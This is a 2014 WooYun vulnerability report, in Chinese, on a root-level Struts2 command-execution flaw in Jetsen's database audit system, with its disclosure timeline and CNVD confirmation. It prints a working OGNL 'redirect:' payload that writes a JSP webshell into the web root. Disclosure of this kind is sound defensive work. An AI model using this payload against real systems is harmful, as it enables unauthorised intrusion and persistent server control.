当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-063674

漏洞标题：捷成数据库审计系统命令执行（root权限）

相关厂商：北京捷成世纪科技股份有限公司

漏洞作者： 路人甲

提交时间：2014-06-05 16:49

修复时间：2014-09-03 16:50

公开时间：2014-09-03 16:50

漏洞类型：命令执行

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-06-05： 细节已通知厂商并且等待厂商处理中
2014-06-10： 厂商已经确认，细节仅向厂商公开
2014-06-13： 细节向第三方安全合作伙伴开放
2014-08-04： 细节向核心白帽子及相关领域专家公开
2014-08-14： 细节向普通白帽子公开
2014-08-24： 细节向实习白帽子公开
2014-09-03： 细节向公众公开

简要描述：

RT!

详细说明：

我想说：存在struts2漏洞,root权限，无需登录。

QQ图片20140605163026.jpg


登录提交的链接为：https://x.x.x.x/jddba/login/check.action

id  --->  root


QQ图片20140605163224.jpg


获取网站路径 ---> /usr/local/tomcat6/webapps/jddba/


QQ图片20140605163638.jpg


成功写入文件：
https://x.x.x.x/jddba/login/check.action?redirect:${ 
%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'), 
%23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll("\\\\", "/"), 
new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close() 
}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e


QQ图片20140605164010.jpg


最终获取webshell：


QQ图片20140605164335.jpg


QQ图片20140605164522.jpg


我还想说：先就这样吧，厂商请及时更新产品。

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2014-06-10 15:48

厂商回复：

CNVD确认所述情况（未进行实例复现，根据图片先行确认），已经由CNVD通过公开联系渠道向生产厂商捷成世纪公司通报，发给jetsen ，抄报给zhujiaxue 。按通用软件衍生漏洞进行评分，rank 12

最新状态：

暂无